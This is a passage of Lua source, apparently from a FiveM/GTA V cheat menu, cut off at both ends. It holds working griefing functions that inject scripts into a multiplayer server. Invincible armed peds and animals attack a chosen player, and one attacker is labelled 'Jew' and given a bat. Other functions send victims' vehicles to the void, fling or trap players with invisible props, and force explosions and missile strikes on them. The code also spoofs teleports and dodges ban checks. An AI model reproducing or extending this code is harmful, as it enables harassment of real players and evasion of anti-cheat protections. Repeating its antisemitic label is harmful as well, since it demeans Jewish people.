menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(pedAI) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetPedHeadBlendData(pedAI, 0, 0, 0, 0, 0, 0, 0.0, 0.0, 0.0, false) SetPedComponentVariation(pedAI, 3, 15, 0, 0) SetPedComponentVariation(pedAI, 8, 15, 0, 0) SetPedComponentVariation(pedAI, 4, 25, 0, 0) SetPedComponentVariation(pedAI, 11, 15, 0, 0) SetPedComponentVariation(pedAI, 6, 34, 0, 0) SetPedComponentVariation(pedAI, 1, 155, 0, 2) GiveWeaponToPed(pedAI, weaponHash, 1, false, true) SetCurrentPedWeapon(pedAI, weaponHash, true) SetEntityInvincible(pedAI, true) SetEntityProofs(pedAI, true, true, true, true, true, true, true, true) SetBlockingOfNonTemporaryEvents(pedAI, true) CreateThread(function() Wait(1000) if targetPlayer then if DoesEntityExist(pedAI) then ClearPedTasks(pedAI) TaskCombatPed(pedAI, targetPlayer, 0, 16) end end while DoesEntityExist(pedAI) and DoesEntityExist(targetPlayer) and not IsEntityDead(targetPlayer) do Wait(0) end if DoesEntityExist(pedAI) then DeleteEntity(pedAI) end end) end) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.pedAttackPlayer(options) repeat if options then if options.targetInfo then break end end return until true local attackPeds = {} local spec = {} spec.name = "Lion" spec.model = "a_c_mtlion" attackPeds[1] = spec spec = {} spec.name = "Dog" spec.model = "a_c_chop" attackPeds[2] = spec spec = {} spec.name = "Panther" spec.model = "a_c_panther" attackPeds[3] = spec spec = {} spec.name = "Coyote" spec.model = "a_c_coyote" attackPeds[4] = spec spec = {} spec.name = "Chimp" spec.model = "a_c_chimp" spec.weapon = "WEAPON_BAT" attackPeds[5] = spec spec = {} spec.name = "Jew" spec.model = "a_m_m_hasjew_01" spec.weapon = "WEAPON_BAT" attackPeds[6] = spec spec = nil local selectedValue = options.selectedValue do local foundSpec = false repeat if selectedValue then for _, attackPed in ipairs(attackPeds) do if attackPed.name == options.selectedValue then spec = attackPed foundSpec = true break end end if foundSpec then break end end until true end repeat if not spec then local selectedIndex = menu.vars.selectors repeat if selectedIndex then selectedIndex = menu.vars.selectors.pedAttackSelector if selectedIndex then break end end selectedIndex = 1 until true local selectedSpec = attackPeds[selectedIndex] if selectedSpec then spec = selectedSpec break end spec = attackPeds[1] end until true if not menu.utils.isWSPedWhitelisted(spec.model) then menu.utils.notify("Ped is blacklisted", "error", 2000) return end local serverId = tonumber(options.targetInfo.serverId) repeat if serverId then if not (serverId <= 0) then break end end return until true local model = spec.model local isAnimal = not ( not (string.sub(model, 1, 4) == "a_c_") ) local pedType repeat if isAnimal then pedType = 28 if pedType then break end end pedType = 4 until true local weaponScript = "" if spec.weapon then weaponScript = string.format( [[ local weaponHash = GetHashKey("%s") GiveWeaponToPed(pedAI, weaponHash, 1, false, true) SetCurrentPedWeapon(pedAI, weaponHash, true) ]], spec.weapon ) end local followScript = "" if isAnimal then followScript = "TaskGoToEntity(pedAI, targetPed, -1, 1.5, 2.0, 1073741824, 0)" end local script = string.format( [[ Citizen.CreateThread(function() local targetServerId = %d local function getTargetPed() local targetPlayer = GetPlayerFromServerId(targetServerId) if not targetPlayer or targetPlayer == -1 then return nil end local targetPed = GetPlayerPed(targetPlayer) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end return targetPed end local targetPed = getTargetPed() if not targetPed then return end local pedModel = GetHashKey("%s") RequestModel(pedModel) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(pedModel) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(pedModel) then return end local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local offsetX = math.sin(math.rad(targetHeading)) * 2.5 local offsetY = math.cos(math.rad(targetHeading)) * 2.5 local spawnX = targetCoords.x + offsetX local spawnY = targetCoords.y + offsetY local spawnZ = targetCoords.z local foundGround, groundZ = GetGroundZFor_3dCoord(spawnX, spawnY, spawnZ + 1.0, false) if foundGround then spawnZ = groundZ end local pedAI = CreatePed(%d, pedModel, spawnX, spawnY, spawnZ, targetHeading + 180.0, true, true) if not pedAI or not DoesEntityExist(pedAI) then SetModelAsNoLongerNeeded(pedModel) return end pcall(function() local ent = Entity(pedAI) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetEntityAsMissionEntity(pedAI, true, true) SetBlockingOfNonTemporaryEvents(pedAI, true) SetPedCanRagdoll(pedAI, true) CreateThread(function() Wait(1500) targetPed = getTargetPed() if not targetPed or not DoesEntityExist(pedAI) then return end local controlTries = 0 while not NetworkHasControlOfEntity(pedAI) and controlTries < 50 do NetworkRequestControlOfEntity(pedAI) Wait(0) controlTries = controlTries + 1 end local pedGroup = AddRelationshipGroup("PM_PED_ATTACK") SetPedRelationshipGroupHash(pedAI, pedGroup) SetRelationshipBetweenGroups(5, pedGroup, GetPedRelationshipGroupHash(targetPed)) SetRelationshipBetweenGroups(5, pedGroup, GetHashKey("PLAYER")) SetPedFleeAttributes(pedAI, 0, false) SetPedCombatAttributes(pedAI, 46, true) SetPedCombatAttributes(pedAI, 5, true) SetPedCombatAbility(pedAI, 100) SetPedCombatRange(pedAI, 2) SetPedCombatMovement(pedAI, 2) SetBlockingOfNonTemporaryEvents(pedAI, false) ClearPedTasks(pedAI) %s %s TaskCombatPed(pedAI, targetPed, 0, 16) end) SetModelAsNoLongerNeeded(pedModel) end) ]], serverId, model, pedType, weaponScript, followScript ) menu.utils.safeExecute(script) end function assembledMenuFunctions.teleportVehicleToVoid(options) do local isServer151VehicleBlocked = menu.utils.isServer151VehicleBlocked() if isServer151VehicleBlocked then menu.utils.notifyBanBlocked() return end end if not menu.utils.isVehicleWhitelisted("bmx") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local targetPed = targetInfo.ped if not targetPed then return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if targetVehicle == 0 then return end Ham.spoofTeleport(true) do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function runTeleportVehicleToVoidWithTemporaryInvisibility() TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(100) Citizen.Wait(2000) AttachEntityToEntity( playerPed, targetVehicle, -1, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) Citizen.Wait(200) DetachEntity(playerPed, true, true) TaskWarpPedIntoVehicle(playerPed, targetVehicle, -1) Citizen.Wait(100) SetEntityCoords(targetVehicle, 10360.0, 0.0, 100.0, false, false, false, true) Citizen.Wait(500) local model = GetHashKey("bmx") RequestModel(model) while not HasModelLoaded(model) do Wait(10) end local bike = CreateVehicle( model, originalCoords.x, originalCoords.y, originalCoords.z, GetEntityHeading(playerPed), false, false ) TaskWarpPedIntoVehicle(playerPed, bike, -1) end withTempPlayerInvisibility(runTeleportVehicleToVoidWithTemporaryInvisibility) end do local setTimeout = Citizen.SetTimeout local function deleteBike() if DoesEntityExist(bike) then DeleteVehicle(bike) end end setTimeout(150, deleteBike) end Ham.spoofTeleport(false) end end pendingFunctionValue = {} pendingFunctionValue[1] = "Vehicle" pendingFunctionValue[2] = "BMX" pendingFunctionValue[3] = "Boat" assembledMenuFunctions.attachVerticalChoices = pendingFunctionValue function assembledMenuFunctions.getAttachVerticalSpec(requestedName) local specs = {} local spec = {} spec.entityType = "vehicle" spec.model = "asea" local offset = {} offset.x = 0.0 offset.y = 0.0 offset.z = 0.0 spec.attachOffset = offset local rotation = {} rotation.x = 90.0 rotation.y = 0.0 rotation.z = 0.0 spec.attachRot = rotation spec.selKey = "attach:vehicle" specs.Vehicle = spec spec = {} spec.entityType = "vehicle" spec.model = "bmx" offset = {} offset.x = 0.0 offset.y = 0.0 offset.z = 0.0 spec.attachOffset = offset rotation = {} rotation.x = 90.0 rotation.y = 0.0 rotation.z = 0.0 spec.attachRot = rotation spec.selKey = "attach:bmx" specs.BMX = spec spec = {} spec.entityType = "object" spec.model = "prop_byard_rowboat4" offset = {} offset.x = 0.0 offset.y = 0.35 offset.z = 0.0 spec.attachOffset = offset rotation = {} rotation.x = 90.0 rotation.y = 0.0 rotation.z = 0.0 spec.attachRot = rotation spec.selKey = "attach:boat" specs.Boat = spec if requestedName then spec = specs[requestedName] if spec then spec = specs[requestedName] return spec end end local selectedIndex = menu.vars.selectors repeat if selectedIndex then selectedIndex = menu.vars.selectors.attachSelector if selectedIndex then break end end selectedIndex = 1 until true local choices = menu.functions.attachVerticalChoices if not choices then choices = {} choices[1] = "Vehicle" choices[2] = "BMX" choices[3] = "Boat" end local selectedName = choices[selectedIndex] if not selectedName then selectedName = "Vehicle" end local selectedSpec = specs[selectedName] if not selectedSpec then selectedSpec = specs.Vehicle end return selectedSpec end function assembledMenuFunctions.attachPlayerSelector(options) repeat if options then if options.targetInfo then break end end return until true local targetInfo = options.targetInfo local spec = menu.functions.getAttachVerticalSpec(options.selectedValue) repeat if spec.entityType == "vehicle" then if menu.utils.isVehicleWhitelisted(spec.model) then break end menu.utils.notify("Vehicle is blacklisted", "error", 2000) do return end break end if not menu.utils.isObjectWhitelisted(spec.model) then menu.utils.notify("Object is blacklisted", "error", 2000) return end until true menu.utils.notify("Attaching vertically to player...", "success", 2000) local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local attachOffset = spec.attachOffset if not attachOffset then attachOffset = {} attachOffset.x = 0.0 attachOffset.y = 0.0 attachOffset.z = 0.0 end local attachRot = spec.attachRot if not attachRot then attachRot = {} attachRot.x = 90.0 attachRot.y = 0.0 attachRot.z = 0.0 end local script repeat if spec.entityType == "vehicle" then script = string.format( [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed or not DoesEntityExist(targetPed) then return end local vehicleModel = "%s" local attachedEntity = nil for i = 1, 5 do local coords = GetEntityCoords(targetPed) local spawnCoords = vector3(coords.x + 20.0, coords.y, coords.z) local veh = nil _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords, GetEntityHeading(targetPed), function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end veh = vehicle end, %d) local waitCount = 0 while veh == nil and waitCount < 50 do Wait(10) waitCount = waitCount + 1 end if veh and DoesEntityExist(veh) and DoesEntityExist(targetPed) then Wait(300) SetEntityCollision(veh, false, false) AttachEntityToEntity(veh, targetPed, 0, %.4f, %.4f, %.4f, %.4f, %.4f, %.4f, false, false, false, false, 2, true) Wait(200) if IsEntityAttachedToEntity(veh, targetPed) then attachedEntity = veh break end SetEntityAsMissionEntity(veh, true, true) DeleteEntity(veh) end if i < 5 then Wait(200) end end if not attachedEntity then local vehicles = GetGamePool('CVehicle') for _, v in ipairs(vehicles) do if GetEntityModel(v) == GetHashKey(vehicleModel) and not IsEntityAttachedToEntity(v, targetPed) then SetEntityAsMissionEntity(v, true, true) DeleteEntity(v) end end end end) ]], targetInfo.ped, spec.model, safeSpawn, attachOffset.x, attachOffset.y, attachOffset.z, attachRot.x, attachRot.y, attachRot.z ) break end script = string.format( [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey("%s") RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local coords = GetEntityCoords(targetPed) local obj = CreateObject(hash, coords.x, coords.y, coords.z, true, true, false) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityCollision(obj, false, false) AttachEntityToEntity(obj, targetPed, 0, %.4f, %.4f, %.4f, %.4f, %.4f, %.4f, false, false, false, false, 2, true) end SetModelAsNoLongerNeeded(hash) end) ]], targetInfo.ped, spec.model, attachOffset.x, attachOffset.y, attachOffset.z, attachRot.x, attachRot.y, attachRot.z ) until true menu.utils.safeExecute(script) end function assembledMenuFunctions.blamePlayer(toggleOptions) repeat if toggleOptions then if toggleOptions.targetInfo then break end end return until true local playerPed = PlayerPedId() local targetInfo = toggleOptions.targetInfo local ped = targetInfo.ped local freshTargetPed repeat if targetInfo.getFreshPed then freshTargetPed = targetInfo.getFreshPed() if freshTargetPed then break end end freshTargetPed = targetInfo.ped until true local function resolveBoneIndex(targetPed, bone) repeat if bone then if bone ~= 0 then break end end return 0 until true if type(bone) == "number" then if 0 < bone then return GetPedBoneIndex(targetPed, bone) end end return 0 end local function deleteAttachedEntity(entity) if entity then if DoesEntityExist(entity) then DeleteEntity(entity) end end return nil end local function ensureAttachedProp(entity, style, targetEntity) if not style.prop then return deleteAttachedEntity(entity) end if entity then if DoesEntityExist(entity) then return entity end end local model = GetHashKey(style.prop) RequestModel(model) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(model) and timeout > GetGameTimer() do Citizen.Wait(10) end if not HasModelLoaded(model) then return entity end local targetCoords = GetEntityCoords(targetEntity) local propOffset = style.propOffset if not propOffset then propOffset = {} propOffset[1] = 0.0 propOffset[2] = 0.0 propOffset[3] = -0.1 propOffset[4] = 0.0 propOffset[5] = 0.0 propOffset[6] = 0.0 end local object = CreateObject(model, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false) if object then if object ~= 0 then if DoesEntityExist(object) then AttachEntityToEntity( object, targetEntity, 0, propOffset[1], propOffset[2], propOffset[3], propOffset[4], propOffset[5], propOffset[6], false, false, false, false, 2, true ) end end end SetModelAsNoLongerNeeded(model) return object end local function getCurrentBlameStyle() local selectedIndex = menu.vars.selectors repeat if selectedIndex then selectedIndex = menu.vars.selectors.blameStyle if selectedIndex then break end end selectedIndex = 1 until true return menu.functions.getBlameStyleByIndex(selectedIndex) end if freshTargetPed == playerPed then menu.utils.notify("You cannot use Blame on yourself", "error") if menu.vars.indivBools then if menu.vars.indivBools.blamePlayer then menu.vars.indivBools.blamePlayer[ped] = false end end return end if toggleOptions.toggleState then local createThread = Citizen.CreateThread local function runBlamePlayerThread() repeat if freshTargetPed then if DoesEntityExist(freshTargetPed) then break end end if menu.vars.indivBools then if menu.vars.indivBools.blamePlayer then menu.vars.indivBools.blamePlayer[ped] = false end end return until true repeat if not IsPedInAnyVehicle(playerPed, false) then if not IsPedInAnyVehicle(freshTargetPed, false) then break end end if menu.vars.indivBools then if menu.vars.indivBools.blamePlayer then menu.vars.indivBools.blamePlayer[ped] = false end end return until true if menu.vars.blameTargetKey then if menu.vars.blameTargetKey ~= ped then if menu.vars.indivBools then if menu.vars.indivBools.blamePlayer then menu.vars.indivBools.blamePlayer[menu.vars.blameTargetKey] = false end end DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasks(playerPed) end end menu.vars.blameActive = true menu.vars.blameTargetKey = ped menu.vars.blameTargetPed = freshTargetPed local propEntity = nil local propName = nil while menu.vars.blameActive and menu.vars.blameTargetKey == ped do local currentTarget repeat if targetInfo.getFreshPed then currentTarget = targetInfo.getFreshPed() if currentTarget then break end end currentTarget = freshTargetPed until true local style = getCurrentBlameStyle() if not currentTarget or not DoesEntityExist(currentTarget) then break end if not menu.vars.indivBools or not menu.vars.indivBools.blamePlayer then break end if not menu.vars.indivBools.blamePlayer[ped] then break end if IsPedInAnyVehicle(playerPed, false) or IsPedInAnyVehicle(currentTarget, false) then break end if not HasAnimDictLoaded(style.dict) then RequestAnimDict(style.dict) while not HasAnimDictLoaded(style.dict) do Citizen.Wait(10) end end if style.prop ~= propName then propEntity = deleteAttachedEntity(propEntity) propName = style.prop end menu.vars.blameTargetPed = currentTarget SetEntityCollision(playerPed, false, false) if style.useHeadSit then local boneCoords = GetPedBoneCoords(currentTarget, 31086, 0.0, 0.0, 0.0) local targetHeading = GetEntityHeading(currentTarget) local headOffsetZ = style.headOffsetZ if not headOffsetZ then headOffsetZ = 0.04 end SetEntityCoordsNoOffset( playerPed, boneCoords.x, boneCoords.y, boneCoords.z + headOffsetZ, false, false, false ) local headingOffset = style.headingOffset if not headingOffset then headingOffset = 0.0 end SetEntityRotation(playerPed, 0.0, 0.0, targetHeading + headingOffset, 2, true) else local boneIndex = resolveBoneIndex(currentTarget, style.bone) AttachEntityToEntity( playerPed, currentTarget, boneIndex, style.offset.x, style.offset.y, style.offset.z, style.rotation.x, style.rotation.y, style.rotation.z, false, false, false, true, 2, true ) end propEntity = ensureAttachedProp(propEntity, style, playerPed) if not IsEntityPlayingAnim(playerPed, style.dict, style.anim, 3) then local animFlag = style.flag if not animFlag then animFlag = 49 end TaskPlayAnim( playerPed, style.dict, style.anim, 8.0, -8.0, -1, animFlag, 0.0, false, false, false ) end Citizen.Wait(250) end propEntity = deleteAttachedEntity(propEntity) if menu.vars.indivBools then if menu.vars.indivBools.blamePlayer then menu.vars.indivBools.blamePlayer[ped] = false end end if menu.vars.blameTargetKey == ped then menu.vars.blameActive = false menu.vars.blameTargetKey = nil menu.vars.blameTargetPed = nil end DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasks(playerPed) end createThread(runBlamePlayerThread) return end if menu.vars.blameTargetKey == ped then menu.vars.blameActive = false menu.vars.blameTargetKey = nil menu.vars.blameTargetPed = nil end DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasks(playerPed) end function assembledMenuFunctions.airFling(options) local lastTime = stuckTeleportLastTime if not lastTime then stuckTeleportLastTime = 0 end local currentTime = GetGameTimer() local elapsed = currentTime - stuckTeleportLastTime if elapsed < 5000 then menu.utils.notify("Please wait a few seconds", "error") return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end stuckTeleportLastTime = currentTime end local targetInfo = options.targetInfo local ped = targetInfo.ped if not ped then return end local script = [[ local model = GetHashKey("prop_bench_01a") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local tPed = ]] .. ped .. [[ if not DoesEntityExist(tPed) then return end local tCoords = GetEntityCoords(tPed) local heading = GetEntityHeading(tPed) local obj1 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) local obj2 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) if IsPedInAnyVehicle(tPed) then tPed = GetVehiclePedIsIn(tPed) end AttachEntityToEntityPhysically(obj1, tPed, 1, 1, tCoords.x, tCoords.y, tCoords.z, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 9999.0, true, true, true, true, 0) AttachEntityToEntityPhysically(obj2, tPed, 1, 1, tCoords.x, tCoords.y, tCoords.z, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 9999.0, true, true, true, true, 0) NetworkRequestControlOfEntity(obj1) NetworkRequestControlOfEntity(obj2) SetModelAsNoLongerNeeded(model) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.stuckTeleport(options) local lastTime = stuckTeleportLastTime if not lastTime then stuckTeleportLastTime = 0 end local currentTime = GetGameTimer() local elapsed = currentTime - stuckTeleportLastTime if elapsed < 5000 then menu.utils.notify("Please wait a few seconds", "error") return end if not menu.utils.isObjectWhitelisted("prop_ind_crusher") then menu.utils.notify("Object is blacklisted", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end stuckTeleportLastTime = currentTime end local targetInfo = options.targetInfo local targetPed = targetInfo.ped if not targetPed then return end local script = " local targetPed = " .. targetPed .. [[ if not DoesEntityExist(targetPed) then return end local tCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local model = GetHashKey("prop_ind_crusher") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local obj1 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) PlaceObjectOnGroundProperly(obj1) local obj2 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) PlaceObjectOnGroundProperly(obj2) if IsPedInAnyVehicle(targetPed) then targetPed = GetVehiclePedIsIn(targetPed) end AttachEntityToEntityPhysically(obj1, targetPed,10000, 10000, 10000, 1, 1, 1, 1, 1, 1.0, true, true, true, true, 0) AttachEntityToEntityPhysically(obj2, targetPed,10000, 10000, 10000, 1, 1, 1, 1, 1, 1.0, true, true, true, true, 0) SetModelAsNoLongerNeeded(model) SetEntityCoords(obj1, tCoords) Citizen.SetTimeout(50, function() if DoesEntityExist(obj1) then SetEntityVisible(obj1, false, false) end if DoesEntityExist(obj2) then SetEntityVisible(obj2, false, false) end end) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.airStuck(options) if not menu.utils.isObjectWhitelisted("prop_bench_01a") then menu.utils.notify("Object is blacklisted", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped if not targetPed then return end local script = " local targetPed = " .. targetPed .. [[ if not DoesEntityExist(targetPed) then return end local tCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local model = GetHashKey("prop_bench_01a") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local obj1 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) local obj2 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) local targetObj = targetPed if IsPedInAnyVehicle(targetPed) then targetObj = GetVehiclePedIsIn(targetPed) end AttachEntityToEntityPhysically(obj1, targetObj, 1, 1, 999999999999999999999999, 999999999999999999999, tCoords.z, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 9999.0, true, true, true, true, 0) AttachEntityToEntityPhysically(obj2, targetObj, 1, 1, 999999999999999999999999, 999999999999999999999, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 9999.0, true, true, true, true, 0) Citizen.SetTimeout(50, function() if DoesEntityExist(obj1) then SetEntityVisible(obj1, false, false) end if DoesEntityExist(obj2) then SetEntityVisible(obj2, false, false) end end) SetModelAsNoLongerNeeded(model) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.slidePlayer(options) if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local ped = targetInfo.ped if not ped then return end local script = " local targetPed = " .. ped .. [[ if not DoesEntityExist(targetPed) then return end local tCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local model = GetHashKey("prop_box_wood02a") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end local obj1 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) PlaceObjectOnGroundProperly(obj1) local obj2 = CreateObject(model, tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z, true, true, false) PlaceObjectOnGroundProperly(obj1) AttachEntityToEntityPhysically(obj1, targetPed, 1, 1, 9999,9999,9999, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 1.0, true, true, true, true, 0) AttachEntityToEntityPhysically(obj2, targetPed, 1, 1, 9999,9999,9999, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 1.0, true, true, true, true, 0) Citizen.SetTimeout(50, function() if DoesEntityExist(obj1) then SetEntityVisible(obj1, false, false) end if DoesEntityExist(obj2) then SetEntityVisible(obj2, false, false) end end) SetModelAsNoLongerNeeded(model) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.glitchVehicle(options) if not menu.utils.isVehicleWhitelisted("reaper") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped if not targetPed then return end local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local script = string.format( [[ local targetPed = %d if not DoesEntityExist(targetPed) or not IsPedInAnyVehicle(targetPed) then return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if not targetVehicle or not DoesEntityExist(targetVehicle) then return end local tCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local vehicleModel = "reaper" local spawnCoords1 = vector3(tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z) local spawnCoords2 = vector3(tCoords.x + math.cos(math.rad(heading)) * 2.0, tCoords.y + math.sin(math.rad(heading)) * 2.0, tCoords.z) local obj1 = nil local obj2 = nil _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords1, heading, function(vehicle1) if not vehicle1 or not DoesEntityExist(vehicle1) then return end obj1 = vehicle1 end, %d) _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords2, heading, function(vehicle2) if not vehicle2 or not DoesEntityExist(vehicle2) then return end obj2 = vehicle2 end, %d) -- Wait for both vehicles to spawn local waitCount = 0 while (obj1 == nil or obj2 == nil) and waitCount < 50 do Wait(10) waitCount = waitCount + 1 end if obj1 and obj2 and DoesEntityExist(obj1) and DoesEntityExist(obj2) then AttachEntityToEntityPhysically(obj1, targetVehicle, 1, 1, 999999999999999999999999, 999999999999999999999, tCoords.z, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 9999.0, true, true, true, true, 0) AttachEntityToEntityPhysically(obj2, targetVehicle, 1, 1, 999999999999999999999999, 999999999999999999999, tCoords.x, tCoords.y, tCoords.z, 0, 0, 0, 9999.0, true, true, true, true, 0) if not _G.glitchVehTbl then _G.glitchVehTbl = {} end _G.glitchVehTbl[targetPed] = { obj1 = obj1, obj2 = obj2 } end ]], targetPed, safeSpawn, safeSpawn ) menu.utils.safeExecute(script) end end function assembledMenuFunctions.glitchPlayer(toggleOptions) if toggleOptions then local targetInfo = toggleOptions.targetInfo if not targetInfo then return end targetInfo = toggleOptions.targetInfo if toggleOptions.toggleState then if not menu.utils.isObjectWhitelisted("prop_bmu_02_ld") then menu.utils.notify("Object is blacklisted", "error", 2000) return end local script = " local targetPed = " .. targetInfo.ped .. [[ gvTbl = gvTbl or {} gvTbl[targetPed] = true local objectName = "prop_bmu_02_ld" local modelHash = GetHashKey(objectName) RequestModel(modelHash) while not HasModelLoaded(modelHash) do Wait(0) end local obj1 = CreateObject(modelHash, 0, 0, 0, true, true, false) local obj2 = CreateObject(modelHash, 0, 0, 0, true, true, false) FreezeEntityPosition(obj1, true) FreezeEntityPosition(obj2, true) SetEntityVisible(obj1, false, false) SetEntityVisible(obj2, false, false) SetModelAsNoLongerNeeded(modelHash) Citizen.CreateThread(function() while DoesEntityExist(targetPed) and gvTbl[targetPed] do local coords = GetEntityCoords(targetPed) SetEntityCoords(obj1, coords.x, coords.y, coords.z - 1.0, false, false, false, true) SetEntityHeading(obj1, GetEntityHeading(targetPed)) SetEntityCoords(obj2, coords.x, coords.y, coords.z - 1.0 + 2.0, false, false, false, true) SetEntityHeading(obj2, GetEntityHeading(targetPed) + 180.0) Wait(50) end DeleteEntity(obj1) DeleteEntity(obj2) gvTbl[targetPed] = nil end) ]] menu.utils.safeExecute(script) return end local script = " local targetPed = " .. targetInfo.ped .. [[ if gvTbl then gvTbl[targetPed] = nil end ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.explodePlayer(options) local createThread = CreateThread local function runExplodePlayerThread() if options then if options.targetInfo then local ped = options.targetInfo.ped if not ped then return end local playerPed = PlayerPedId() local weaponHash = GetHashKey(menu.vars.explosionWeapon) if not HasPedGotWeapon(playerPed, weaponHash, false) then GiveDelayedWeaponToPed(playerPed, weaponHash, 250, false, true) end local previousWeapon = GetCurrentPedWeapon(playerPed, false) SetCurrentPedWeapon(playerPed, weaponHash, true) Wait(100) local targetCoords = GetEntityCoords(ped) ShootSingleBulletBetweenCoords( targetCoords.x, targetCoords.y, targetCoords.z + 1.0, targetCoords.x, targetCoords.y, targetCoords.z, 100, true, weaponHash, playerPed, true, false, -1.0 ) Wait(10) SetCurrentPedWeapon(playerPed, previousWeapon, true) end end end createThread(runExplodePlayerThread) end function assembledMenuFunctions.ufoAttack(options) repeat if options then if options.targetInfo then break end end return until true local cooldown = 55000 if not ufoAttackLastTime then ufoAttackLastTime = 0 end local currentTime = GetGameTimer() local elapsed = currentTime - ufoAttackLastTime if cooldown > elapsed then menu.utils.notify("UFO attack on cooldown \226\128\147 wait for it to finish", "error", 2500) return end ufoAttackLastTime = currentTime if not menu.utils.isVehicleWhitelisted("sum_prop_dufocore_01a") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local targetInfo = options.targetInfo local targetPed = targetInfo.ped local script = [[ local HEAD_BONE = 31086 local UFO_MODEL = GetHashKey("sum_prop_dufocore_01a") local WEAPON = GetHashKey("vehicle_weapon_dogfighter_missile") local MAX_BULLETS = 30 local SHOOT_INTERVAL = 3000 local function GetTargetPos(ped) local bone = GetPedBoneIndex(ped, HEAD_BONE) if bone == -1 then return GetEntityCoords(ped) end return GetPedBoneCoords(ped, bone, 0.0, 0.0, 0.0) end local function GetNextClosestAliveTarget(shooter) local peds = GetGamePool('CPed') local myCoords = GetEntityCoords(shooter) local closest, closestDist = nil, 999999.0 for _, ped in pairs(peds) do if ped ~= shooter and DoesEntityExist(ped) and not IsEntityDead(ped) then local d = #(myCoords - GetEntityCoords(ped)) if d < closestDist then closestDist = d closest = ped end end end return closest end CreateThread(function() local shooter = 